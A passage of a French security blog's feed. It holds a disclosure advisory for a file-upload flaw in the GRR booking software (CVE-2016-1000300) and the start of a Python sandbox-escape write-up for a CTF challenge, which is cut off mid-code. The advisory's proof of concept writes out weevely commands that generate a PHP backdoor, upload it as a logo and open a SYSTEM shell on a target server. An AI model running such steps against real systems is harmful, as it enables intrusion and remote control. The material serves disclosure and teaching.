&lt;br /&gt;
&amp;nbsp;
&lt;br /&gt;
Once uploaded, image name is &quot;splitted&quot; in an array and renamed with the
&lt;br /&gt;
name &quot;logo&quot; followed by the extention saved as 2nd array&#39;s element.&amp;nbsp;
&lt;br /&gt;
&amp;nbsp;
&lt;br /&gt;
This file called for example &quot;logo.jpg&quot; is also &quot;chmoded&quot; as 0666 permission&amp;nbsp;
&lt;br /&gt;
and directly accessible in image folder (img_grr by default) by all users.
&lt;br /&gt;
&amp;nbsp;
&lt;br /&gt;
Besides, the application does only a basic conditional php test
&lt;br /&gt;
on the extension of the uploaded file.
&lt;br /&gt;
&amp;nbsp;
&lt;br /&gt;
It&#39;s possible for an attacker to add a second extension that will be&amp;nbsp;
&lt;br /&gt;
used when the image will be renamed in order to bypass this basic filter&amp;nbsp;
&lt;br /&gt;
(double extension upload filter bypassing).
&lt;br /&gt;
&amp;nbsp;
&lt;br /&gt;
So, a file called backdoor.php.jpg will be renamed as logo.php with&amp;nbsp;
&lt;br /&gt;
chmod 0666 permissions and could be used by attacker to gain more privileges&amp;nbsp;
&lt;br /&gt;
on the targeted server (privesc due to bad file permissions and RCE).
&lt;br /&gt;
&amp;nbsp;
&lt;br /&gt;
To trigger this vulnerability it is necessary to have an administrator&amp;nbsp;
&lt;br /&gt;
account on the GRR application.
&lt;br /&gt;
&amp;nbsp;
&lt;br /&gt;
This vulnerability is a combination of 3 issues:
&lt;br /&gt;
&lt;ol&gt;
&lt;li&gt;- predictable uploaded file names and path
&lt;/li&gt;
&lt;li&gt;- upload of any kind of file
&lt;/li&gt;
&lt;li style=&quot;text-align: left;&quot;&gt;- bad files permission when we upload this file that permit us to gain privilegied access.
&lt;/li&gt;
&lt;/ol&gt;
&amp;nbsp;
&lt;br /&gt;
Note that it could be &quot;dorkable&quot; in order to find targets ... and sometimes
&lt;br /&gt;
with trivial admin credentials ;-).
&lt;br /&gt;
&amp;nbsp;
&lt;br /&gt;
&amp;nbsp;&lt;b&gt;
&lt;br /&gt;III. PROOF OF CONCEPT
&lt;br /&gt;======================================================================================
&lt;br /&gt;&amp;nbsp;
&lt;/b&gt;&lt;br /&gt;
Generate backdoor:
&lt;br /&gt;
&amp;nbsp;
&lt;i&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; kmkz@Tapz:~#&amp;nbsp; weevely generate pass123 /tmp/3lrvs.php
&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Generated backdoor with password &#39;pass123&#39; in &#39;/tmp/3lrvs.php&#39; of 1486 byte size.
&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; kmkz@Tapz:~# mv /tmp/3lrvs.php /tmp/3lrvs.php.jpg
&lt;/i&gt;&lt;br /&gt;
&amp;nbsp;
&lt;br /&gt;
&amp;nbsp;
&lt;br /&gt;
Login as admin and upload this new &#39;logo&#39; &amp;gt; Administration &amp;gt; logo
&lt;br /&gt;
&amp;nbsp;
&lt;br /&gt;
Enjoy your shell!
&lt;br /&gt;
&amp;nbsp;
&lt;br /&gt;
&lt;i&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; kmkz@Tapz:~# weevely http://laboratoire.target.fr/images/logo.php pass123
&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; [+] weevely 3.2.0
&lt;br /&gt;&amp;nbsp;
&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; [+] Target:&amp;nbsp;&amp;nbsp;&amp;nbsp; laboratoire.target.fr:F:\server\grr\images
&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; [+] Session:&amp;nbsp;&amp;nbsp;&amp;nbsp; /kmkz/.weevely/sessions/laboratoire.target.fr/logo_1.session
&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; [+] Shell:&amp;nbsp;&amp;nbsp;&amp;nbsp; System shell
&lt;/i&gt;&lt;br /&gt;
&amp;nbsp;
&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;i&gt;[+] Browse the filesystem or execute commands starts the connection
&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; [+] to the target. Type :help for more information.
&lt;br /&gt;&amp;nbsp;
&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; weevely&amp;gt; whoami
&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; autorite nt\system
&lt;/i&gt;&lt;br /&gt;
&amp;nbsp;
&lt;br /&gt;
&amp;nbsp;
&lt;br /&gt;
&amp;nbsp;
&lt;br /&gt;
&lt;b&gt;IV. RISK
&lt;br /&gt;======================================================================================
&lt;br /&gt;&amp;nbsp;&lt;/b&gt;&lt;br /&gt;
By uploading a script, an attacker may be able to execute arbitrary code
&lt;br /&gt;
on the server with elevated privileges.
&lt;br /&gt;
&amp;nbsp;
&lt;br /&gt;
This flaw may compromise the integrity of the system
&lt;br /&gt;
(with access to sensitive informations, network shares...) and it may conduce
&lt;br /&gt;
to&amp;nbsp; full information system&#39;s compromission using pivots techniques and imagination!
&lt;br /&gt;
&amp;nbsp;
&lt;br /&gt;
&amp;nbsp;
&lt;br /&gt;
&lt;b&gt;V. VERSIONS AFFECTED
&lt;br /&gt;======================================================================================
&lt;br /&gt;&amp;nbsp;&lt;/b&gt;&lt;br /&gt;
GRR 3.0.0-RC1 is vulnerable (and all previous versions)
&lt;br /&gt;
&amp;nbsp;
&lt;br /&gt;
&amp;nbsp;
&lt;br /&gt;
&lt;b&gt;VI. TIMELINE
&lt;br /&gt;======================================================================================
&lt;br /&gt;&amp;nbsp;&lt;/b&gt;&lt;br /&gt;
December 17th, 2015: Vulnerability identification
&lt;br /&gt;
January 7th, 2016: Vendor and project developers notification
&lt;br /&gt;
January 11th, 2016: Project developers response
&lt;br /&gt;
January 15th, 2016: Patch release
&lt;br /&gt;
January 17th, 2016: Public disclosure
&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;======================================================================================
&lt;/b&gt;&lt;br /&gt;
&lt;a href=&quot;https://github.com/JeromeDevome/GRR/blob/master/admin/admin_config1.php&quot; target=&quot;_blank&quot;&gt;&lt;br /&gt;&lt;/a&gt;
&lt;br /&gt;
&lt;a href=&quot;https://github.com/JeromeDevome/GRR/blob/master/admin/admin_config1.php&quot; target=&quot;_blank&quot;&gt;Projet GRR&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;a href=&quot;https://github.com/JeromeDevome/GRR/blob/master/admin/admin_config1.php&quot; target=&quot;_blank&quot;&gt;Git Hub du projet contenant le fix&amp;nbsp;&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;a href=&quot;http://www.kaizendo.fr/php-how-to-manage-uploaded-image-in-secure-way/&quot; target=&quot;_blank&quot;&gt;Publication de Nicolas Bouteiller (contributeur/dev de la prochaine version GRR)&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
So now, update your GRR install ;-)&lt;br /&gt;
&lt;br /&gt;
A bientôt pour de nouvelles aventures !!! &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;de1&quot;&gt;
&lt;/div&gt;
</content><link rel='replies' type='application/atom+xml' href='http://kmkz-web-blog.blogspot.com/feeds/4063553058483654081/comments/default' title='Publier les commentaires'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/4457623080129847893/4063553058483654081' title='0 commentaires'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4457623080129847893/posts/default/4063553058483654081'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4457623080129847893/posts/default/4063553058483654081'/><link rel='alternate' type='text/html' href='http://kmkz-web-blog.blogspot.com/2016/01/advisory-vulnerabilite-dans-grr-300-rc1.html' title='[Advisory] CVE-2016-1000300 Vulnérabilité dans GRR &lt;= 3.0.0-RC1 '/><author><name>kmkz</name><uri>http://www.blogger.com/profile/11354372095868320290</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjWX7f_qhizDdUQtNH4mauHaDaN6n2Yuy_MaLPSzL1iO4adY6hBlbA6gVeOMl3greB2FM0GMLeHPN5ZaNMSsQ49Mu2PE4tB55xS_Ajtaz-llty0kG_1I42Qn0GEx0x2OA/s1600/*'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiQ7WR_S6dMjEtenlTwXeEip-nXEEoDCF2aHnpUKK4KhhYuDsK3zpRmxAVC6vU1Kz2gC6zkbkPvfitEo9A0JSF2znBQxV2TsC7l1rKd5Xg-0oieh_TzUCz3ysB9Z8yMk14rVnGdLXCtMKRI/s72-c/system_rights.png" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4457623080129847893.post-1218240267333569703</id><published>2014-11-15T20:58:00.000+01:00</published><updated>2014-11-15T23:25:54.795+01:00</updated><title type='text'>Python sandbox escape: sortez du bac à sable !</title><content type='html'>Salut tout le monde!&lt;br /&gt;
&lt;br /&gt;
De passage sur mon blog pour un nouveau papier concernant quelque chose sur &amp;nbsp;lequel je serais emmené à travailler bien plus en profondeur: &lt;u&gt;l&#39;évasion de sandbox&lt;/u&gt; !&lt;br /&gt;
&lt;br /&gt;
Pour ceux qui ne comprendraient pas le fait de jouer dans des bacs à sable python, je vous remmène à l&#39;actualité de la semaine passé avec une &lt;b&gt;MAGNIFIQUE&lt;/b&gt; publication de l&#39;équpe de chez G-DATA (salut à &lt;b&gt;RootBSD&lt;/b&gt; au passage!) &amp;nbsp;sur &lt;b&gt;Cuckoo&lt;/b&gt; qui travaille lui-même sur une base sandbox en Python (vulnérabilité corrigée dans la foulée sur la version 1.1.1) et la possibilité pour un code malveillant d&#39;en sortir via une variable &quot;&lt;span style=&quot;color: blue;&quot;&gt;buf&lt;/span&gt;&quot; mal &#39;sanitized&#39; comme ceci:&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhmdkQfaM56XCmQl6Vly1kS3nEu5WaqxgsxYOV7RKAcHwIfUeRtak92QdJob-BIT9lbgxhXxHntFQ5R1fdvyP15RSQV2_hkVFLpmuSE-VQZsV6AWNOVRHw46MeZs3Kg4Ich5aFBbvKnOJyb/s1600/cuckoo_escape.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhmdkQfaM56XCmQl6Vly1kS3nEu5WaqxgsxYOV7RKAcHwIfUeRtak92QdJob-BIT9lbgxhXxHntFQ5R1fdvyP15RSQV2_hkVFLpmuSE-VQZsV6AWNOVRHw46MeZs3Kg4Ich5aFBbvKnOJyb/s1600/cuckoo_escape.png&quot; height=&quot;107&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
Link vers la publication &lt;a href=&quot;http://cuckoosandbox.org/2014-10-07-cuckoo-sandbox-111.html&quot; target=&quot;_blank&quot;&gt;ici&lt;/a&gt;&amp;nbsp;et vers le POC de &lt;b&gt;G-DATA&lt;/b&gt; &lt;a href=&quot;https://blog.gdatasoftware.com/blog/article/cuckoo-sandbox-evasion-poc-available.html&quot; target=&quot;_blank&quot;&gt;ici&lt;/a&gt;&amp;nbsp;.&lt;br /&gt;
&lt;br /&gt;
Bon .. le contexte étant dessiné, passons maintenant à l&#39;article lui-même!&lt;br /&gt;
Première chose: avoir une &lt;b&gt;sandbox&lt;/b&gt; a pwnd sans quoi on n&#39;irait pas bien loin... j&#39;ai donc cherché sur le net et en ai trouvé 2 sympa.&lt;br /&gt;
&lt;br /&gt;
Ceci dis je n&#39;en aurai retenu qu&#39;une, l&#39;autre m&#39;ayant déjà amusé par le passé et donc voulant aussi m&#39;amuser un peu je me suis dis que celle ci serait plus &quot;fun&quot; à exploiter!&lt;br /&gt;
&lt;br /&gt;
Il s&#39;agit d&#39;un ancien challenge du CTF de la Hack.lu de 2012 &amp;nbsp;(liens en fin d&#39;article) mais qui, pour un débutant comme moi dans le domaine, n&#39;a pas pris une ride alors ... allons-y !&lt;br /&gt;
&lt;br /&gt;
Voici la source de cette &lt;b&gt;sandbox&lt;/b&gt;:&lt;br /&gt;
&lt;br /&gt;
&lt;ol style=&quot;background-color: #f8f8f8; font-family: Consolas, Menlo, Monaco, &#39;Lucida Console&#39;, &#39;Liberation Mono&#39;, &#39;DejaVu Sans Mono&#39;, &#39;Bitstream Vera Sans Mono&#39;, monospace, serif; font-size: 12px; line-height: 21px; margin: 0px; padding: 0px 0px 0px 48px;&quot;&gt;
&lt;li class=&quot;li1&quot; style=&quot;-webkit-user-select: none; color: #acacac;&quot;&gt;&lt;div class=&quot;de1&quot; style=&quot;-webkit-user-select: text; background: rgb(255, 255, 255); border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;&quot;&gt;
&lt;span class=&quot;co1&quot; style=&quot;color: grey; font-style: italic;&quot;&gt;#!/usr/bin/python&lt;/span&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;li class=&quot;li2&quot; style=&quot;-webkit-user-select: none; color: #acacac;&quot;&gt;&lt;div class=&quot;de2&quot; style=&quot;-webkit-user-select: text; background: rgb(255, 255, 255); border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;&quot;&gt;
&lt;/div&gt;
&lt;/li&gt;
&lt;li class=&quot;li2&quot; style=&quot;-webkit-user-select: none; color: #acacac;&quot;&gt;&lt;div class=&quot;de2&quot; style=&quot;-webkit-user-select: text; background: rgb(255, 255, 255); border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;&quot;&gt;
&lt;span class=&quot;kw1&quot; style=&quot;color: #ff7700; font-weight: bold;&quot;&gt;def&lt;/span&gt;&amp;nbsp;make_secure&lt;span class=&quot;br0&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;br0&quot;&gt;)&lt;/span&gt;:&lt;/div&gt;
&lt;/li&gt;
&lt;li class=&quot;li1&quot; style=&quot;-webkit-user-select: none; color: #acacac;&quot;&gt;&lt;div class=&quot;de1&quot; style=&quot;-webkit-user-select: text; background: rgb(255, 255, 255); border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;&quot;&gt;
&amp;nbsp; &amp;nbsp; UNSAFE&amp;nbsp;&lt;span class=&quot;sy0&quot; style=&quot;color: #66cc66;&quot;&gt;=&lt;/span&gt;&amp;nbsp;&lt;span class=&quot;br0&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;st0&quot; style=&quot;color: darkslateblue;&quot;&gt;&#39;open&#39;&lt;/span&gt;&lt;span class=&quot;sy0&quot; style=&quot;color: #66cc66;&quot;&gt;,&lt;/span&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;li class=&quot;li2&quot; style=&quot;-webkit-user-select: none; color: #acacac;&quot;&gt;&lt;div class=&quot;de2&quot; style=&quot;-webkit-user-select: text; background: rgb(255, 255, 255); border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;&quot;&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;span class=&quot;st0&quot; style=&quot;color: darkslateblue;&quot;&gt;&#39;file&#39;&lt;/span&gt;&lt;span class=&quot;sy0&quot; style=&quot;color: #66cc66;&quot;&gt;,&lt;/span&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;li class=&quot;li1&quot; style=&quot;-webkit-user-select: none; color: #acacac;&quot;&gt;&lt;div class=&quot;de1&quot; style=&quot;-webkit-user-select: text; background: rgb(255, 255, 255); border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;&quot;&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;span class=&quot;st0&quot; style=&quot;color: darkslateblue;&quot;&gt;&#39;execfile&#39;&lt;/span&gt;&lt;span class=&quot;sy0&quot; style=&quot;color: #66cc66;&quot;&gt;,&lt;/span&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;li class=&quot;li2&quot; style=&quot;-webkit-user-select: none; color: #acacac;&quot;&gt;&lt;div class=&quot;de2&quot; style=&quot;-webkit-user-select: text; background: rgb(255, 255, 255); border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;&quot;&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;span class=&quot;st0&quot; style=&quot;color: darkslateblue;&quot;&gt;&#39;compile&#39;&lt;/span&gt;&lt;span class=&quot;sy0&quot; style=&quot;color: #66cc66;&quot;&gt;,&lt;/span&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;li class=&quot;li1&quot; style=&quot;-webkit-user-select: none; color: #acacac;&quot;&gt;&lt;div class=&quot;de1&quot; style=&quot;-webkit-user-select: text; background: rgb(255, 255, 255); border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;&quot;&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;span class=&quot;st0&quot; style=&quot;color: darkslateblue;&quot;&gt;&#39;reload&#39;&lt;/span&gt;&lt;span class=&quot;sy0&quot; style=&quot;color: #66cc66;&quot;&gt;,&lt;/span&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;li class=&quot;li2&quot; style=&quot;-webkit-user-select: none; color: #acacac;&quot;&gt;&lt;div class=&quot;de2&quot; style=&quot;-webkit-user-select: text; background: rgb(255, 255, 255); border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;&quot;&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;span class=&quot;st0&quot; style=&quot;color: darkslateblue;&quot;&gt;&#39;__import__&#39;&lt;/span&gt;&lt;span class=&quot;sy0&quot; style=&quot;color: #66cc66;&quot;&gt;,&lt;/span&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;li class=&quot;li1&quot; style=&quot;-webkit-user-select: none; color: #acacac;&quot;&gt;&lt;div class=&quot;de1&quot; style=&quot;-webkit-user-select: text; background: rgb(255, 255, 255); border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;&quot;&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;span class=&quot;st0&quot; style=&quot;color: darkslateblue;&quot;&gt;&#39;eval&#39;&lt;/span&gt;&lt;span class=&quot;sy0&quot; style=&quot;color: #66cc66;&quot;&gt;,&lt;/span&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;li class=&quot;li2&quot; style=&quot;-webkit-user-select: none;&quot;&gt;&lt;div class=&quot;de2&quot; style=&quot;-webkit-user-select: text; background-attachment: initial; background-clip: initial; background-color: white; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;&quot;&gt;
&lt;span style=&quot;color: black;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;/span&gt;&lt;span style=&quot;color: darkslateblue;&quot;&gt;&#39;locals&#39;&lt;/span&gt;&lt;span style=&quot;color: #66cc66;&quot;&gt;,&lt;/span&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;li class=&quot;li2&quot; style=&quot;-webkit-user-select: none; color: #acacac;&quot;&gt;&lt;div class=&quot;de2&quot; style=&quot;-webkit-user-select: text; background: rgb(255, 255, 255); border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;&quot;&gt;
&lt;blockquote style=&quot;border: none; margin: 0 0 0 40px; padding: 0px;&quot;&gt;
&lt;blockquote style=&quot;border: none; margin: 0 0 0 40px; padding: 0px;&quot;&gt;
&lt;span class=&quot;st0&quot; style=&quot;color: darkslateblue;&quot;&gt;&amp;nbsp; &#39;input&#39;&lt;/span&gt;&lt;span class=&quot;br0&quot;&gt;]&lt;/span&gt;&lt;/blockquote&gt;
&lt;/blockquote&gt;
&lt;/div&gt;
&lt;/li&gt;
&lt;li class=&quot;li1&quot; style=&quot;-webkit-user-select: none; color: #acacac;&quot;&gt;&lt;div class=&quot;de1&quot; style=&quot;-webkit-user-select: text; background: rgb(255, 255, 255); border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;&quot;&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&lt;/div&gt;
&lt;/li&gt;
&lt;li class=&quot;li2&quot; style=&quot;-webkit-user-select: none; color: #acacac;&quot;&gt;&lt;div class=&quot;de2&quot; style=&quot;-webkit-user-select: text; background: rgb(255, 255, 255); border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;&quot;&gt;
&amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;span class=&quot;kw1&quot; style=&quot;color: #ff7700; font-weight: bold;&quot;&gt;for&lt;/span&gt;&amp;nbsp;func&amp;nbsp;&lt;span class=&quot;kw1&quot; style=&quot;color: #ff7700; font-weight: bold;&quot;&gt;in&lt;/span&gt;&amp;nbsp;UNSAFE:&lt;/div&gt;
&lt;/li&gt;
&lt;li class=&quot;li1&quot; style=&quot;-webkit-user-select: none; color: #acacac;&quot;&gt;&lt;div class=&quot;de1&quot; style=&quot;-webkit-user-select: text; background: rgb(255, 255, 255); border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;&quot;&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;span class=&quot;kw1&quot; style=&quot;color: #ff7700; font-weight: bold;&quot;&gt;del&lt;/span&gt;&amp;nbsp;__builtins__.&lt;span class=&quot;kw4&quot; style=&quot;color: mediumblue;&quot;&gt;__dict__&lt;/span&gt;&lt;span class=&quot;br0&quot;&gt;[&lt;/span&gt;func&lt;span class=&quot;br0&quot;&gt;]&lt;/span&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;li class=&quot;li2&quot; style=&quot;-webkit-user-select: none; color: #acacac;&quot;&gt;&lt;div class=&quot;de2&quot; style=&quot;-webkit-user-select: text; background: rgb(255, 255, 255); border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;&quot;&gt;
&lt;/div&gt;
&lt;/li&gt;
&lt;li class=&quot;li1&quot; style=&quot;-webkit-user-select: none; color: #acacac;&quot;&gt;&lt;div class=&quot;de1&quot; style=&quot;-webkit-user-select: text; background: rgb(255, 255, 255); border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;&quot;&gt;
&lt;span class=&quot;kw1&quot; style=&quot;color: #ff7700; font-weight: bold;&quot;&gt;from&lt;/span&gt;&amp;nbsp;&lt;span class=&quot;kw3&quot; style=&quot;color: crimson;&quot;&gt;re&lt;/span&gt;&amp;nbsp;&lt;span class=&quot;kw1&quot; style=&quot;color: #ff7700; font-weight: bold;&quot;&gt;import&lt;/span&gt;&amp;nbsp;findall&lt;/div&gt;
&lt;/li&gt;
&lt;li class=&quot;li2&quot; style=&quot;-webkit-user-select: none; color: #acacac;&quot;&gt;&lt;div class=&quot;de2&quot; style=&quot;-webkit-user-select: text; background: rgb(255, 255, 255); border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;&quot;&gt;
&lt;/div&gt;
&lt;/li&gt;
&lt;li class=&quot;li1&quot; style=&quot;-webkit-user-select: none; color: #acacac;&quot;&gt;&lt;div class=&quot;de1&quot; style=&quot;-webkit-user-select: text; background: rgb(255, 255, 255); border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;&quot;&gt;
&lt;span class=&quot;co1&quot; style=&quot;color: grey; font-style: italic;&quot;&gt;# Suppression de la liste des builtins dangeureux:&lt;/span&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;li class=&quot;li2&quot; style=&quot;-webkit-user-select: none; color: #acacac;&quot;&gt;&lt;div class=&quot;de2&quot; style=&quot;-webkit-user-select: text; background: rgb(255, 255, 255); border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;&quot;&gt;
make_secure&lt;span class=&quot;br0&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;br0&quot;&gt;)&lt;/span&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;li class=&quot;li1&quot; style=&quot;-webkit-user-select: none; color: #acacac;&quot;&gt;&lt;div class=&quot;de1&quot; style=&quot;-webkit-user-select: text; background: rgb(255, 255, 255); border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;&quot;&gt;
&lt;/div&gt;
&lt;/li&gt;
&lt;li class=&quot;li1&quot; style=&quot;-webkit-user-select: none; color: #acacac;&quot;&gt;&lt;div class=&quot;de1&quot; style=&quot;-webkit-user-select: text; background: rgb(255, 255, 255); border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;&quot;&gt;
&lt;span class=&quot;kw1&quot; style=&quot;color: #ff7700; font-weight: bold;&quot;&gt;print&lt;/span&gt;&amp;nbsp;&lt;span class=&quot;st0&quot; style=&quot;color: darkslateblue;&quot;&gt;&#39;Go Ahead, Expoit me &amp;gt;;D&#39;&lt;/span&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;li class=&quot;li1&quot; style=&quot;-webkit-user-select: none; color: #acacac;&quot;&gt;&lt;div class=&quot;de1&quot; style=&quot;-webkit-user-select: text; background: rgb(255, 255, 255); border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;&quot;&gt;
&lt;span class=&quot;kw1&quot; style=&quot;color: #ff7700; font-weight: bold;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;li class=&quot;li1&quot; style=&quot;-webkit-user-select: none; color: #acacac;&quot;&gt;&lt;div class=&quot;de1&quot; style=&quot;-webkit-user-select: text; background: rgb(255, 255, 255); border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;&quot;&gt;
&lt;span class=&quot;kw1&quot; style=&quot;color: #ff7700; font-weight: bold;&quot;&gt;while&lt;/span&gt;&amp;nbsp;&lt;span class=&quot;kw2&quot; style=&quot;color: green;&quot;&gt;True&lt;/span&gt;:&lt;/div&gt;
&lt;/li&gt;
&lt;li class=&quot;li2&quot; style=&quot;-webkit-user-select: none; color: #acacac;&quot;&gt;&lt;div class=&quot;de2&quot; style=&quot;-webkit-user-select: text; background: rgb(255, 255, 255); border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;&quot;&gt;
&amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;span class=&quot;kw1&quot; style=&quot;color: #ff7700; font-weight: bold;&quot;&gt;try&lt;/span&gt;:&lt;/div&gt;
